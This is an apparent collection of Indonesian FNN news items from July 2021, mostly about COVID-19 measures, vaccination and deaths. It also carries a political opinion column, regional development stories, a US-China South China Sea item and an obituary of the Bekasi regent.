Wapres Ma'ruf Ajak Ulama Bersama Pemerintah Dukung PPKM Darurat

Jakarta, FNN - Wakil Presiden Ma’ruf Amin mengajak para ulama dan tokoh agama Islam untuk bersama dengan Pemerintah meningkatkan peran dalam mendukung pelaksanaan pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat di tengah pandemik COVID-19. Ajakan Wapres tersebut saat audiensi dihadiri secara langsung oleh pengurus Majelis Ulama Indonesia (MUI) Pusat di Istana Wakil Presiden Jakarta serta diikuti secara daring oleh pengurus MUI daerah dan sejumlah kepala daerah. "Saya ingin mengajak sahabat-sahabat semua, para kiai, para ulama, para habib untuk bersama-sama dengan Pemerintah menanggulangi bahaya COVID-19 yang demikian besar dan dahsyat," kata Wapres Ma’ruf di Jakarta, Senin. Penanggulangan pandemik COVID-19 di Indonesia bukan hanya tugas Pemerintah, melainkan semua pihak termasuk para ulama. Sehingga, Wapres mengajak para tokoh agama Islam untuk bekerja sama dengan Pemerintah. "Saya menggunakan istilah ‘bersama-sama’, bukan membantu Pemerintah, karena menanggulangi pandemik COVID-19 itu merupakan tanggung jawab kebangsaan dan kenegaraan, termasuk tanggung jawab keagamaan," tutur Wapres. Angka kematian akibat COVID-19 sudah sangat banyak, sehingga Pemerintah menerapkan kebijakan PPKM darurat untuk melindungi dan menjaga masyarakat dari korban. Wapres menyebutkan jumlah tenaga kesehatan yang meninggal dunia karena COVID-19 mencapai lebih dari 1.000 orang, antara lain terdiri atas 405 dokter, 399 perawat, 166 bidan, 43 dokter gigi dan 32 ahli tenaga laboratorium (ATLM). Selain itu, ulama yang meninggal dunia karena terinfeksi COVID-19 mencapai 541 orang yang terdiri atas 450 laki-laki dan 90 perempuan. "Korbannya sudah banyak, yang terkonfirmasi positif sudah sangat banyak, yang meninggal juga cukup banyak. Ini yang saya ingin sampaikan kepada para kiai, sehingga rumah sakit-rumah sakit sekarang sudah tidak menampung, kekurangan oksigen," ucap-nya menjelaskan. Oleh karena itu, Wapres berharap para ulama dan tokoh agama Islam di daerah-daerah untuk bersama-sama dengan Pemerintah dalam menanggulangi pandemik COVID-19 dengan menekan angka penularan di masyarakat. "Mari bersama-sama Pemerintah kita berjuang, berjihad menghadapi bahaya COVID-19 yang jahat," ujar Wapres. Hadir secara langsung di Istana Wapres Jakarta ialah Ketua Umum MUI Miftachul Ahyar, Wakil Ketua Dewan Pertimbangan MUI Zein Umar bin Smith, Wakil Ketua Umum MUI Marsudi Syuhud, Ketua MUI Yusnar Yusuf, Ketua MUI Jeje Zainuddin dan Ketua MUI Asrorun Ni’am. Sementara itu, turut bergabung secara virtual dalam pertemuan dengan Wapres tersebut adalah Gubernur Jawa Tengah Ganjar Pranowo, Gubernur Jawa Timur Khofifah Indar Parawansa, Bupati Sukoharjo Etik Suryani, Bupati Sragen Kusdinar Untung Yuni Sukowati, Bupati Rembang Abdul Hafidz dan Bupati Pati Haryanto. (sws)

TPM Unhas Ajak Pemanfaatan Wilayah Pesisir Sesuai Aturan

Makassar, FNN - Tim Pengabdian Masyarakat yang tergabung dalam Program Kemitraan Masyarakat (PK-M) Universitas Hasanuddin bekerja sama dengan Kantor Pertanahan Kabupaten Takalar, mengajak masyarakat bagaimana strategi pemanfaatan pesisir sesuai aturan yang berlaku. Ketua TPM Unhas Prof Dr Farida Patittingi MHum dalam keterangannya di Makassar, Senin, menjelaskan kegiatan ini penting bagi masyarakat pesisir guna mengetahui dan memanfaatkan wilayah pesisir sesuai dengan aturan dan syarat teknis perizinan. Dekan Fakultas Hukum Unhas ini mengatakan hukum pertanahan mengakui adanya hukum adat sebagai dasar penguasaan dan pemanfaatan tanah secara turun temurun yang diatur secara konstitusional. Olehnya itu, kata dia, masyarakat perlu memahami hal tersebut, khususnya ketika ingin memperoleh kepastian hukum atas kepemilikan tanah dan hak yang harus dimiliki untuk melakukan pendaftaran tanah. "Setelah melakukan observasi dan wawancara singkat dengan Kepala Desa Laikang, ditemukan permasalahan hukum terkait pengelolaan dan pemanfaatan wilayah pesisir untuk kegiatan ekonomi dan tempat tinggal," ujarnya. "Bahkan, terkadang menimbulkan konflik di antara para warga desa,"lanjut Prof Farida. Desa Laikang merupakan salah satu desa yang terletak di wilayah pesisir Kecamatan Mangarabombang, Kabupaten Takalar. (sws)

Dinkes Banyumas: Bayi yang Meninggal Belum Dipastikan Kena COVID-19

Purwokerto, FNN - Dinas Kesehatan (Dinkes) Kabupaten Banyumas di Provinsi Jawa Tengah menyatakan bahwa seorang bayi yang meninggal dunia di wilayah kerjanya belum dipastikan terserang COVID-19. "Ada satu bayi yang meninggal tapi sebenarnya probable. Artinya, dia ke arah gejala COVID-19 tetapi belum positif (berdasarkan pemeriksaan) PCR. Sudah meninggal, terus keluarga siap diprotokol kesehatan," kata Kepala Dinkes Kabupaten Banyumas Sadiyanto di Purwokerto, Banyumas, Senin siang. Dia menyampaikan pernyataan itu ketika ditanya wartawan perihal pernyataan Bupati Banyumas Achmad Husein mengenai dua bayi yang meninggal dunia akibat COVID-19. Sadiyanto mengakui bahwa Dinas Kesehatan tidak melakukan pemeriksaan lanjutan menggunakan metode PCR untuk memastikan bayi tersebut terserang COVID-19. "Statusnya probable. Artinya, dia diduga (positif COVID-19) tetapi belum dibuktikan dengan hasil laboratorium, umurnya baru tiga hari," katanya. Ia mengakui kasus penularan COVID-19 pada anak-anak di Kabupaten Banyumas belakangan cenderung mengalami peningkatan. "Anak-anak ya, bukan bayi, usia di atas satu tahun. Jumlahnya yang dirawat kurang lebih 10 anak," katanya. Bupati Banyumas Achmad Husein meminta masyarakat Kabupaten Banyumas mewaspadai kemungkinan terjadi penularan COVID-19 pada bayi. "Berdasarkan data yang kami terima, di RSUD Banyumas kemarin ada lima (bayi), di RSUD Ajibarang ada lima, terus di Margono (RSUD Prof Dr Margono Soekarjo Purwokerto) juga ada. Ini COVID-19 (pada) bayi dan dua itu meninggal," katanya usai rapat koordinasi penanganan COVID-19 di Purwokerto, Senin siang. Kendati demikian, Bupati mengaku belum mengetahui secara pasti apakah bayi-bayi tersebut tertular virus corona dari orang tuanya. "Enggak tahu ini. Itu kan ilmu ya, harus ada riset dan penyelidikan, tapi yang jelas itu sudah ada yang bayi lho, apakah itu dari orang tuanya, apakah dari mana. Tapi ada juga yang aneh, bayinya positif, ibunya enggak itu lho, ada itu, satu," katanya. Menurut dia, kasus penularan COVID-19 pada bayi di Banyumas baru ditemukan dalam satu atau dua minggu terakhir. "Makanya harus hati-hati yang punya bayi ya," katanya. (sws)

Anggota DPR Jaring Aspirasi Pastikan Komitmen Calon Dubes

Jakarta, FNN - Anggota Komisi I DPR RI Christina Aryani mengatakan telah menjalankan penjaringan aspirasi dan masukan konstruktif dari Warga Negara Indonesia (WNI) di luar negeri untuk mendapatkan masukan dan memastikan komitmen 33 calon duta besar yang akan menjalani uji kelayakan dan kepatutan. "Penjaringan aspirasi ini berguna untuk mendapatkan masukan aktual dan memastikan komitmen dari para calon duta besar yang akan ditempatkan," kata Christina dalam keterangannya di Jakarta, Senin. Christina mengatakan, dirinya sebagai anggota DPR-RI dari Daerah Pemilihan DKI Jakarta II yang juga mewakili konstituen luar negeri, secara khusus telah menjalankan penjaringan aspirasi dan masukan konstruktif dari WNI di luar negeri. Menurut dia, penjaringan tersebut terkait perbaikan kinerja perwakilan dan masukan itu diterima antara lain dari komunitas WNI di Australia, Timor Leste, Perancis, Kanada. "Selain persyaratan dasar, kedalaman wawasan serta ketrampilan komunikasi, calon dubes juga harus memahami beragam aspek menyangkut negara/organisasi internasional dimana mereka akan ditempatkan," ujarnya. Selain itu dia juga menaruh perhatian khusus pada upaya perlindungan WNI di luar negeri, terutama menyangkut akses terhadap vaksin dalam kondisi pandemi COVID-19. Christina menjelaskan, beberapa tugas penting dubes yang digarisbawahi antara lain kesanggupan memperjuangkan kepentingan nasional dan mengembangkan kerjasama internasional. "Dan juga meningkatkan nilai ekspor dan kunjungan wisatawan; serta menarik investasi dan peluang-peluang bisnis lainnya," katanya. Komisi I DPR RI mulai melakukan uji kepatutan dan kelayakan atau "fit and proper test" terhadap 33 calon dubes pada Senin sampai Rabu (12-14 Juli), dengan menerapkan protokol kesehatan secara ketat. Uji kelayakan tersebut terdiri dari 6 sesi selama 3 hari bersifat tertutup dengan durasi per-sesi maksimal 2 jam 15 menit. (sws)

Mungkinkah Jokowi Menyebabkan Imunitas Turun?

by Asyari Usman Medan FNN - Kata para dokter dan pakar kesehatan, imunitas (antibody), dan epidemologi sangat krusial dalam melawan Covid-19. Ini terbutki dari tingkat kesembuhan di kalangan penyanang virus ini. Di seluruh dunia, rata-rata 80% orang yang tertular Covid bisa sembuh. Begitulah fungsi imunitas. Imunitas itu terbangun dari nutrisi (gizi) yang bagus dan olahraga reguler. Bagus sekali kalau ditambah vitamin dan suplemen. Apalagi ada herbal dan madu, imunitas semakin kuat. Kebalikan dari kondisi ini menyebabkan imunitas lemah. Yaitu kekurangan gizi, tidak cukup gerak badan, tidak ada konsumsi vitamin atau suplemen. Ada satu hal lain yang membuat imunitas kuat atau lemah. Itulah yang disebut “state of mind”. Alias “suasana pikiran”. Pikiran tenang membuat imunitas kuat atau naik. Pikiran terganggu membuat imunitas lemah alias turun. Ini juga kata para pakar kesehatan. Pikiran tenang pertanda tidak ada masalah atau sedikit masalah. Pikiran galau pertanda banyak masalah yang mengganggu. Orang tak sanggup memagar pikirannya agar tidak terganggu oleh masalah yang menumpuk itu. Masalah yang mengganggu itu bisa apa saja, termasuk politik. Dan bahkan centang-perenang atau carut-marut politik bisa menjadi penyebab utama gangguan pikiran. Inilah yang sedang terjadi. Sepak-terjang Jokowi membuat banyak orang menjadi frustrasi. Tapi tak bisa berbuat apa-apa. Bosan, tapi terpaksa harus urut dada. Geram, tapi harus menunggu sampai 2024. Pessoalan inilah yang kelihatannya menjadi masalah terbesar seluruh rakyat Indonesia. Mereka ingin Jokowi mundur, namun beliau tak peduli. Mau berontak, tak mungkin. Karena bakal masuk penjara. Mau melepaskan kegeraman dengan kata-kata yang berbahaya, bisa kena pasal UU ITE. Meneriakkan “revolusi”, pasti gol dalam hitungan menit. Mau demo “turunkan presiden”, pasti akan ditangkap semua. Jadi, tidak ada yang bisa dilepaskan untuk meringankan beban perasaan. Akhirnya, semua ini menggumpal dan mempengaruhi “state of mind”. Orang menjadi malas. Hilang semangat. Hilang gairah. Tersendat jalan pikiran, tersumbat kreativitas. Memang ada banyak orang yang akan mengatakan, “Untuk apa dipikirkan Jokowi? Biarkan saja dia sesuka hatinya!” Boleh jadi sikap seperti ini benar. Tapi, saya sendiri sudah tiga hari tidak mengunggah tulisan. Belum tahu apakah itu disebabkan terjangkit frustrasi melihat situasi yang ada, atau karena hal ini. Yang jelas, ada semacam kemarau inspirasi. Ini sangat berbahaya. Sebab, kata para pakar kesehatan, pikiran yang dilanda frustrasi bisa menurunkan imunitas. Mungkin perlu ditanyakan kepada para pakar apakah Jokowi bisa menyebabkan imunitas turun. Penulis adalah Wartawan Senior FNN.co.id

Dokter Tirta Jadi Saksi Terkait Pernyataan Kontroversial Dokter Lois

Jakarta, FNN - Dokter Tirta Mandira Hudhi diperiksa polisi sebagai saksi ahli terkait pernyataan kontroversial Dokter Lois bahwa pasien COVID-19 meninggal karena obat. "Jadi, saya sama ikatan dokter Indonesia (IDI) statusnya saksi ahli," kata Tirta saat dikonfirmasi di Jakarta, Senin. Tirta juga mengatakan bahwa dirinya diperiksa sebagai saksi bukan berkaitan dengan Undang-Undang Informasi dan Transaksi Elektronik (ITE). Dokter Tirta mengaku mendapat informasi bahwa Dokter Lois diduga telah menyebarkan informasi yang bisa menghambat penanganan wabah penyakit menular sebagaimana diatur dalam Pasal 14 Undang-Undang Nomor 4 Tahun 1984 tentang Wabah Penyakit Menular. "Yang intinya menghalangi penanganan wabah di Indonesia," tambahnya. Dikonfirmasi terpisah, Kabid Humas Polda Metro Jaya Kombes Yusri Yunus mengatakan kasus yang melibatkan Dokter Lois sudah dilimpahkan ke Mabes Polri. "Sudah dilimpahkan ke Mabes, tanya ke Mabes," ujar Yusri. Kasus ini diketahui berawal dari beredanya video pernyataan Lois di media sosial mengenai dirinya yang tidak percaya COVID-19 dan anti memakai masker. Lois juga menyebut pasien covid-19 meninggal karena obat dan bukan akibat infeksi virus. (mth)

KKP Gelontorkan Rp89 Miliar untuk Pembangunan SKPT Saumlaki Maluku

Saumlaki, Maluku, FNN - Kementerian Kelautan dan Perikanan (KKP) pada tahun ini menganggarkan Rp89 miliar untuk pembangunan fasilitas penunjang Sentra Kelautan Perikanan Terpadu (SKPT) Saumlaki, yang berada di Pelabuhan Pendaratan Ikan (PPI) Ukur Laran, Kecamatan Tanimbar Selatan, Kabupaten Kepulauan Tanimbar, Provinsi Maluku. "Informasi yang kami terima dari pihak kementerian dalam hal ini Direktorat Kapal dan alat penangkap ikan yang mempunyai tugas mengelola SKPT Saumlaki menyatakan bahwa ada bantuan hibah dari Jepang dan kita PPI Ukur Laran dapat dana Rp.89 miliart lebih untuk pembangunan fisik dan berbagai fasilitas di dalam kawasan itu," kata Kepala Dinas Perikanan Kabupaten Kepulauan Tanimbar, Alowesius Batkormbawa, di Saumlaki, Senin. Ia menyatakan, semenjak kepemimpinan Menteri Susi Pudjiastuti, KKP berkomitmen untuk segera merevitalisasi sekaligus membangun PPI Ukur Laran menjadi SKPT Saumlaki. Proses revitalisasi dan pembangunan SKPT Saumlaki di lahan seluas dua hektare tersebut siap dikerjakan, karena telah ada pelimpahan aset dari Pemerintah Daerah Kabupaten Kepulauan Tanimbar kepada Pemprov Maluku, dan seterusnya telah diserahkan ke KKP pada tahun 2017. Pembangunan fisik tersebut berupa fasilitas perikanan modern di SKPT Saumlaki seperti tempat pelelangan ikan (TPI), pabrik es, "cold storage" hingga gedung perkantoran dan semua kebutuhan utama dari sebuah pangkalan pendaratan ikan. Kepastian tentang informasi besaran anggaran dan rencana kerja tersebut diterima dari Biro Perencanaan Kementerian Kelautan dan Perikanan, dimana dana hibahnya sudah tersedia di rekening Kementerian Kelautan dan Perikanan. "Jadi kita tidak menerawang lagi. Dananya sudah tersedia tinggal kita membangun sesuai dengan tahapan-tahapan yang tersedia," ujarnya. Saat ini, pihak KKP sedang dalam proses penyusunan Analisis Dampak Lingkungan (AMDAL) dari program ini. Bersamaan dengan AMDAL, KKP sedang menyusun rencana-rencana pembangunan fisiknya berupa kerangka acuan, pengantar, analisis rencana anggaran biayanya. "Dibuat barengan sehingga ketika AMDAL selesai dan semoga kalau berjalan lancar maka tahun depan sudah mulai pekerjaan pembangunan," katanya. Alowesius menyatakan, dengan adanya pembangunan SKPT Saumlaki dan saat difungsikan nanti, akan membawa dampak positif bagi para pelaku usaha dari berbagai sektor. Misalnya di sektor usaha penyediaan sembilan bahan pokok (sembako), rumah makan, rumah kopi, serta sektor jasa lainnya. Selain itu, diharapkan SKPT Saumlaki menjadi entri point atau titik masuk untuk pelabuhan perikanan dan mampu mengekspor ikan dalam jumlah yang banyak. "Dengan adanya SKPT ini, saya berharap akan memotivasi para nelayan kita untuk semakin berusaha lebih maksimal lagi" imbuhnya. Sesuai pantauan di lokasi, kondisi mayoritas infrastruktur di PPI Ukurlaran seperti pabrik es, tempat pelelangan ikan (TPI) dan gedung perkantoran yang sudah ada sejak tahun 2005 dalam keadaan rusak. Padahal pemerintah kabupaten Kepulauan Tanimbar (saat itu Maluku Tenggara Barat-red) sudah mengeluarkan puluhan miliar rupiah dari APBD untuk pembangunan fasilitas tersebut. Selain SKPT, KKP telah membangun fasilitas perikanan lainnya, yaitu Karatina Ikan dan Kantor PSDKP di kawasan yang sama dan telah berfungsi semenjak akhir 2016 lalu. (mth)

AS Ulangi Peringatan kepada China Soal Serangan ke Pasukan Filipina

Washington, FNN - Amerika Serikat pada Minggu (11/7) mengulangi peringatan kepada China bahwa serangan terhadap angkatan bersenjata Filipina di Laut China Selatan akan memicu perjanjian pertahanan bersama AS-Filipina tahun 1951. Menteri Luar Negeri AS Antony Blinken membuat komentar dalam sebuah pernyataan tertulis yang menandai ulang tahun kelima keputusan pengadilan arbitrase yang menolak klaim teritorial luas China di Laut China Selatan. "Amerika Serikat menegaskan kembali kebijakan 13 Juli 2020 mengenai klaim maritim di Laut China Selatan," kata Blinken, yang merujuk pada penolakan oleh pemerintahan mantan Presiden AS Donald Trump atas klaim China atas sumber daya lepas pantai di sebagian besar Laut China Selatan. China, yang mengklaim sebagian besar perairan di Laut China Selatan dengan tanda pada peta nasionalnya yang disebut sebagai Sembilan Garis Putus (nine-dash line), menegaskan pada Jumat (9/7) bahwa Beijing tidak menerima keputusan pengadilan arbitrase itu. Wilayah perairan di Laut China Selatan juga diperebutkan oleh Brunei, Malaysia, Filipina, Taiwan dan Vietnam. "Kami juga menegaskan kembali bahwa serangan bersenjata terhadap angkatan bersenjata, kapal umum, atau pesawat terbang Filipina di Laut China Selatan akan memicu komitmen pertahanan bersama AS berdasarkan Pasal IV Perjanjian Pertahanan Bersama AS-Filipina tahun 1951," ujar Blinken. Pasal perjanjian itu sebagian menyebutkan bahwa "setiap Pihak mengakui bahwa serangan bersenjata di wilayah Pasifik pada salah satu pihak akan berbahaya bagi perdamaian dan keselamatan diri masing-masing dan menyatakan bahwa akan bertindak untuk menghadapi bahaya bersama sesuai dengan ketentuan dengan proses konstitusional." Blinken telah menyampaikan pernyataan serupa sebelumnya, termasuk selama percakapan pada 8 April dengan menteri luar negeri Filipina di mana Departemen Luar Negeri AS mengatakan dia "menegaskan kembali penerapan" Perjanjian Pertahanan Bersama AS-Filipina tahun 1951 itu di Laut China Selatan. (mth)

Obituari - Berpulangnya Bupati Bekasi yang Sarat Makna

Bogor, FNN - Lambaian Sang Saka Merah Putih yang tertunduk, lunglai berkibar, pada setengah tiang di halaman Kantor Bupati Bekasi, Jawa Barat, seakan menggambarkan duka mendalam. Bupati Bekasi H Eka Supria Atmaja, SH wafat di Rumah Sakit Siloam, Kelapa Dua, Tangerang, Banten, pada Minggu (11/7), sekitar pukul 21.30 WIB. Suami dari Hj Holilah dan ayah dari tiga putra putrinya, Nikita Orizza, Jelena Jatuzzalwa, dan Reziy Ahmad Syaikhu, berpulang, setelah sepekan berjuang melawan keganasan COVID-19 sejak dirawat di rumah sakit itu pada 5 Juli 2021. Sebelumnya pada 1 Juli 2021, dia positif terpapar COVID-19 berdasarkan swab PCR. Terasa pekan-pekan terakhir ini begitu sering kabar duka kita terima. Kepala Daerah asli kelahiran dari Kampung Lemahabang, Desa Waluya, Kecamatan Cikarang Utara, Kabupaten Bekasi, 48 silam itu, terpapar virus mematikan yang sedang berpandemik di seantero negeri itu, justru saat sedang giat berjihad mengatasi penyebaran virus yang menyerang paru-paru itu di daerah-nya. Suasana berkabung dan duka mendalam lekat bergelayut di kabupaten seluas 1.274 kilometer persegi dan berpenduduk sekitar 3,899 juta jiwa (2020) ini, sejak Minggu menjelang tengah malam hingga tulisan ini dibuat. Adik Eka Supria Atmaja, dr. Asep Surya Atmaja yang juga anggota DPRD Kabupaten Bekasi, memohon doa dari seluruh masyarakat Kabupaten Bekasi atas berpulang-nya almarhum. "Innalillahi wa innailaihi rajiun. Semoga almarhum husnul khotimah, diampuni segala dosanya, dilapangkan dan diterangkan kuburnya, dan ditempatkan di surga firdaus," katanya sebagaimana disiarkan pada portal resmi Kabupaten Bekasi. Mewakili keluarga besarnya, Asep menegaskan bahwa berpulang-nya Eka Supria Atmaja membawa duka mendalam. Tak hanya keluarga yang kehilangan atas berpulang-nya Eka. Rekan kolega-nya, sesama bupati di sekitar wilayah kerjanya pun merasa kehilangan yang mendalam. Sebagaimana disampaikan Bupati Bogor Ade Yasin, yang juga Wakil Ketua Umum Asosiasi Pemerintah Kabupaten Seluruh Indonesia (Apkasi). Ade menyampaikan. bulan Juli baru berjalan beberapa hari, isi kabar hampir semua berita kehilangan, kabar duka di mana-mana. Duka yang mendalam atas berpulang-nya sahabatnya, Eka. malam. Ade Yasin mengajak masyarakat turut mendoakan Eka. "Saya atas nama pribadi dan mewakili seluruh masyarakat Kabupaten Bogor mendoakan almarhum diterima di tempat terbaik di sisi Allah," ujarnya. Ucapan turut berbelasungkawa dan duka cita mendalam juga disampaikan Bupati Karawang Cellica Nurrachadiana dan Bupati Purwakarta Anne Ratna Mustika. Duka mendalam tak hanya bagi keluarga besarnya, melainkan juga bagi seluruh masyarakat Kabupaten Bekasi. Terlebih semasa hidupnya, Eka Supria Atmaja merupakan putra asli daerah yang berkarir dari tanah kelahirannya di Desa Waluya Lemahabang. Dari Kepala Desa Eka Supria Atmaja, putra dari pasangan orangtua-nya, H. Ojoy Jarkasih dan Hj. Enjuh Juhriah. lahir pada 9 Februari 1973 di Desa Waluya. Jenjang pendidikannya pun diawali di desa itu. Ia menamatkan pendidikan dasarnya di SD Lemahabang, lalu melanjutkan ke SMP 2 Cikarang, kemudian menamatkan pendidikan tingkat atasnya di SMA Cikarang, dan tercatat sebagai alumnus dari Universitas Borobudur, Jakarta, untuk pendidikan tingginya. Dari desa itu pula, dia meniti karir politik dan pemerintahannya, dengan menjadi Kepala Desa Waluya, selama dua periode, dari tahun 2001-2006 dan tahun 2006-2012. Kemudian pada tahun 2014, Eka berjuang dalam Pemilu Legislatif melalui Partai Golkar, terpilih menjadi anggota DPRD Kabupaten Bekasi, bahkan setelah pelantikannya sebagai anggota Dewan, dia terpilih kembali sebagai Ketua DPRD Kabupaten Bekasi periode tahun 2014-2017. Tiga tahun setelah menjadi pimpinan Dewan, Eka kembali berkompetisi dalam Pemilihan Kepala Daerah Kabupaten Bekasi pada tahun 2017, sebagai calon Wakil Bupati, berpasangan dengan calon Bupati Hj Neneng Hassanah Yasin. Sebagian besar rakyat, memberikan suara untuk pasangan tersebut. Terpilihlah mereka sebagai Bupati dan Wakil Bupati Bekasi periode 2017-2022. Baru dua tahun memimpin, Neneng tersandung kasus hukum, sehingga dia diberhentikan oleh Menteri Dalam Negeri, pada tahun 2019. Sejak itu pun, Eka Supria Atmaja menjadi Bupati Bekasi. Pada tahun 2019 itu pula, Eka terpilih sebagai Ketua DPD Partai Golkar Kabupaten Bekasi. Namun, baru dua tahun memimpin daerah di Kabupaten Bekasi, Eka telah dipanggil Sang Maha Kuasa. Bupati Eka Supria Atmaja semasa hidupnya dikenal sebagai sosok muda yang tegas, santun dan peduli kepada masyarakat. Karena beliau selalu mengingat pesan kedua orang tuanya, agar menjadi pemimpin yang amanah dan jangan mengecewakan masyarakat. Empat program unggulan Kepedulian-nya pada masyarakat, diagendakan melalui empat program kerja unggulan Pemerintah Kabupaten Bekasi tahun 2021 yang sebagian merupakan kelanjutan dari realisasi program tahun-tahun sebelumnya. Empat program tersebut, menambah anggaran untuk Program "Bekasi Bedah Nata Rumah" (Bebenah) dari sebelumnya untuk 2.000 rumah menjadi 5.000 rumah pada tahun 2021. Setiap rumah penerima manfaat Program Bebenah berhak mendapatkan alokasi anggaran sebesar Rp20 juta dengan rincian pembelian material bangunan Rp17 juta dan Rp3 juta sisanya untuk biaya tukang. Sasaran program ini tentunya rumah yang dianggap sudah tidak layak huni dengan harapan ke depan tidak ada lagi rumah warga yang tidak representatif. Program kedua, perbaikan daerah kumuh melalui program Bekasi Bersih, Sehat, dan Berkah (Bersekah) yang cakupan-nya akan diperluas dari tujuh desa menjadi 25 desa pada 2021. Program ketiga, memberikan tunjangan untuk 3.300 guru madrasah dan pesantren non-aparatur sipil negara; dan program unggulan keempat, yakni memberikan honor kepada imam masjid yang memiliki kemampuan khusus tilawah yakni sebesar Rp2,5 juta per bulan. Eka berharap melalui empat program kerja pemerintah daerah di tahun depan itu mampu menjadikan Kabupaten Bekasi dua kali tambah baik. Sementara untuk penanganan dan penanggulangan COVID-19, Eka telah memutuskan menambah anggaran penanganan COVID-19 hampir dua kali lipat dari Rp80 miliar menjadi Rp158 miliar melalui alokasi biaya tak terduga hasil pengalihan yang bersumber dari APBD tahun ini. Agar penanganan pandemik semakin optimal, katanya. Penambahan anggaran itu sebagai dampak lonjakan kasus COVID-19 di daerah-nya. Anggaran tersebut dialokasikan secara khusus bagi perangkat daerah yang menangani pandemik. Dia menyebut tiga perangkat daerah mendapat alokasi biaya tak terduga itu, yakni, Dinas Kesehatan sebesar Rp113 miliar, RSUD Cibitung Rp34 miliar termasuk insentif tenaga kesehatan senilai Rp24 miliar, serta BPBD Kabupaten Bekasi Rp11,8 miliar. Untuk pembangunan, Eka pun memiliki resep berdasarkan pengalamannya. Ia meyakini bahwa desa merupakan ujung tombak keberhasilan kegiatan pembangunan, sehingga kepala desa dituntut mampu menerjemahkan-nya ke dalam sejumlah kreasi inovasi demi kemajuan daerah. "Untuk itu kepala desa harus mampu membuat perubahan di desanya. Tentu saja melalui program-program yang inovatif," ucap-nya. Seorang pemimpin desa, juga harus mampu menciptakan kenyamanan dan ketertiban di wilayahnya sehingga proses pembangunan dapat berjalan maksimal sesuai yang diharapkan. Eka kini telah berpulang, jenazahnya dikebumikan ke pemakaman keluarga di sekitar tempat tinggal-nya di Kampung Lemahabang RT 01/04, Desa Waluya, Kecamatan Cikarang Utara, Kabupaten Bekasi, namun kepemimpinan-nya membawa sarat makna, untuk terus dilanjutkan oleh para penggantinya. Kemendagri untuk sementara telah menunjuk Pelaksana Harian Sekretaris Daerah Kabupaten Bekasi Herman Hanafi sebagai Plh. Bupati Bekasi. Eka bisa berpulang, namun pembangunan Kabupaten Bekasi terus berjalan, "dua kali bertambah baik", sebagaimana jargon dari Eka, bahkan bisa lebih. (mth)

Realisasi Belanja Pengadaan Vaksin COVID-19 Capai Rp10,2 Triliun

Jakarta, FNN - Kementerian Keuangan mencatat realisasi belanja pengadaan vaksin COVID-19 telah mencapai Rp10,2 triliun untuk 59,3 juta dosis per 10 Juli 2021. Menteri Keuangan Sri Mulyani mengatakan, sejak Januari hingga 10 Juli 2021 tercatat sekitar 51 juta dosis vaksin sudah disuntikkan kepada masyarakat Indonesia. "Jumlah dosis vaksinasi pertama sebanyak 36,19 juta dosis dan vaksinasi kedua 14,97 juta dosis," kata Sri Mulyani saat paparan dalam Rapat Kerja Badan Anggaran DPR-RI, di Jakarta, Senin. Menurut dia, sebanyak 68,7 juta dosis vaksin COVID-19 telah didistribusikan ke seluruh Indonesia dari 78,2 juta dosis yang telah dirilis, termasuk vaksin hibah. Seiring dengan peningkatan pasokan vaksin tersebut, jumlah vaksinator juga ditambah melalui TNI/Polri, Bidan, serta tenaga lainnya. Bendahara Negara menjelaskan, hal tersebut lantaran peningkatan tren vaksinasi sejak Januari dan pada awal Juli 2021 sudah menembus target satu juta dosis per hari. Selanjutnya, target vaksinasi harian pada Agustus 2021 yakni dua juta dosis per hari dan September 2021 sebanyak tiga juta dosis per hari. "Target ini untuk mengejar herd immunity, supaya pemulihan ekonomi dan mobilisasi masyarakat tidak menimbulkan kenaikan jumlah COVID-19," ujar dia. Sementara itu, Sri Mulyani menyebutkan realisasi klaim pasien COVID-19 mencapai Rp11,1 triliun per 9 Juli 2021 dan telah dialokasikan tambahan sebesar Rp11,97 triliun. (mth)

Dandenkes Kupang: Butuh Dukungan Nakes Optimalkan Layanan Vaksinasi

Kupang, FNN - Komandan Detasemen Kesehatan (Dandenkes) 04-09-01/Kupang Letkol Ckm dr. Agus Saptiady,Sp mengatakan diperlukan dukungan tenaga kesehatan (nakes) dari dinas kesehatan untuk membantu TNI dalam memberikan pelayanan vaksinasi secara optimal. "Melihat antusias warga yang semakin tinggi, kami tentu akan berkoordinasi dengan nakes dari dinkes setempat agar dapat membantu memberikan pelayanan vaksin kepada masyarakat, sehingga lebih banyak lagi warga masyarakat yang bisa terlayani vaksin," kata Agus Saptiady di Kupang, Senin. Dia mengemukakan hal itu menjawab pertanyaan seputar besarnya antusias warga untuk mengikuti vaksinasi dalam program "Serbuan Vaksinasi" yang digelar TNI di RS Wira Sakti Kupang. Antusias warga itu bisa terlihat dari banyaknya warga yang harus datang dini hari agar bisa mendaftar menjadi peserta vaksin. "Sudah dua hari berturut-turut saya datang untuk mengikuti vaksin tetapi tidak bisa mendaftar karena kuota yang disiapkan di RS Wira Sakti terbatas. Hari ini, jam 05.00 Wita pagi saya sudah datang sehingga bisa mendapat nomor antre," kata Nando, seorang pemuda asal Penfui Timur. Menurut Letkol Agus, dirinya bersama rekan-rekan ingin memberikan pelayanan terbaik kepada masyarakat yang ingin menerima vaksin melalui program "Serbuan Vaksinasi" yang di prakarsai Kodam IX/Udayana, Namun kami juga ada keterbatasan dalam jumlah tenaga kesehatan di RST Wira Sakti Kupang, yang melayani kegiatan vaksinasi, sehingga jumlah masyarakat yang kami layani masih belum banyak. "Saya dan teman-teman pasti ingin memberikan pelayanan yang terbaik kepada masyarakat, tetapi kami juga ada keterbatasan dalam jumlah tenaga kesehatan RST Wira Sakti Kupang, yang melayani kegiatan vaksinasi sehingga jumlah masyarakat yg kami layani masih belum banyak," katanya. Untuk itu, pihaknya akan membangun koordinasi dengan nakes dari dinkes setempat, agar dapat membantu memberikan pelayanan vaksin kepada masyarakat, sehingga lebih banyak lagi warga masyarakat yang bisa terlayani vaksinnya, kata Letkol Agus Saptiady menambahkan. (mth)

Jokowi, Moeldoko, dan Lingkungan Istana Banyak Bangkai Politik

